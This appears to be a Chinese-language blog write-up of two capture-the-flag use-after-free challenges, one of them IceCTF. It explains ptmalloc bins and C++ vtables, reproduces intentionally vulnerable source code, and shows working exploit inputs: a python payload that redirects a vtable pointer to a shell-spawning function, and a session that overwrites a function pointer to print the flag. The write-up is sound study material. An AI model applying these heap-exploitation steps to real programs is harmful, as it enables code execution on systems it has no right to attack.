最头疼的就是堆之类的问题,也没有仔细的研究过,所以每次见到这种题都极其痛苦。这个uaf还好,之前见过当时弄明白了,现在再看到却有一种似曾相见不相识的感觉。 现在又弄明白了,为了避免自己的健忘症发作,赶紧记下来这个套路。

就拿最近自己做过的两个题做炮灰。


uaf原理

原因:

分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。然后大家就可以利用这个指针做坏事了。记这个指针为迷途指针。

利用:

(引自http://www.freebuf.com/vuls/95708.html)

1. 先搞出来一个迷途指针。

2. 用精心构造的数据填充被释放的内存区域。

3. 再次使用该指针,让填充的数据使EIP发生跳转。

ptmalloc的细节:

ptmalloc就是c语言的malloc在linux平台上的实现。下面统称为malloc。

ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割、回收等操作。

malloc维护了一系列链表用于内存的分配和回收,这些链表被成为”bins”,chunk作为链表上的节点存在。

根据bin所包含chunk的大小,可以将bin分为fastbin(小于等于64字节), unsorted bin, small bin, large bin。每个bin链表中的chunk都有相同或将近的大小。

所以我们利用uaf的时候要注意这些条件。


第一题

源代码

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>

using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }

protected:
    int age;
    string name;

public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
    virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;

    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;
        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }
    return 0;
}

虚函数

源代码很好理解,这里再补充点c++虚函数有关的知识

  • 每个类都有一张虚函数表
  • 虚表是一个指针数组,其元素是虚函数的指针
  • 具有虚函数表的每个实例都在对象实例最前面保存一个指向虚函数表的指针。这意味着我们通过对象实例的地址得到这张虚函数表,然后就可以遍历其中函数指针,并调用相应的函数。

根据源代码可以画出这张图:

IDA分析

整个代码的逻辑源代码已经讲得很清楚了

但是细节还是要IDA来

Human *v13; Human *v14;

所以上图黄色部分就是调用man和woman的introduce函数,这是一个很重要的点。

现在明确一下思路:

  1. 先delete m和w
  2. 再用自己构造的数据填充data,目的修改虚表指针替换introduce函数为giveshell函数
  3. 调用introduce函数giveshell

解决细节问题:

  1. 看到case1,先调用m的introduce函数,后调用w的introduce函数,那么我们就要让两个对象都有值。所以优先选择拿m下手
  2. 怎么替换函数?前面知道*v13就是m的虚表指针,**v13就是giveshel的地址,*(*v13+8)就是introduce的地址。我们可以控制*v13的值,那么我们把*v13=原*v13-8,就实现了移花接木。

就剩下寻找v13的虚表指针了

ctrl+e可以看到有vtable for man,这就是man这个类的虚函数表

我们在gdb中跟踪一下,发现0000000000401570确实是giveshell的函数指针,这里确认ida的分析是对的。

现在我们已经知道*v13的值了只需要把它减8就可以了

具体操作

uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'+'A'*16" > /
tmp/ss
uaf@ubuntu:~$ ./uaf 24 /tmp/ss
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ ls
flag  uaf  uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning
$

第二题

直接IDA的F5

再看book_sutie函数和book_room函数:

根据上面那两个函数我们可以分析得到suite和room的结构,这是本题的关键

struct suite{
    void* print_name;  //这是一个函数指针,根据第二张图的第12行
    char name[256];
    int number;
}

struct room{
    int number;
    char* name[256];
}

delete_booking函数是free所有的malloc

而print_booking函数调用了suite的print_name函数,如图第10行

那么思路是,先free一个suite实例,再malloc一个room实例,264字节和260字节相差不多, 所以可触发uaf漏洞。利用两个结构体的差异,改写suite的print_name地址为flag函数的地址就可以


1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$ 1
Name: 2
Suite number: 3
Booked a suite!
1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$ 3
Suite booking deleted!
1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$ 2
Name: 1337
Room number: 134514237
Booked a room!
1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$ 4
IceCTF{they_can_take_our_overflows_but_they_will_never_take_our_use_after_freeeedom!}
��S������ORooms number: 134905
Name: 1337
Rooms number: 134514237
1. Book a suite
2. Book a room
3. Delete booking
4. Print booking
5. Quit
$$$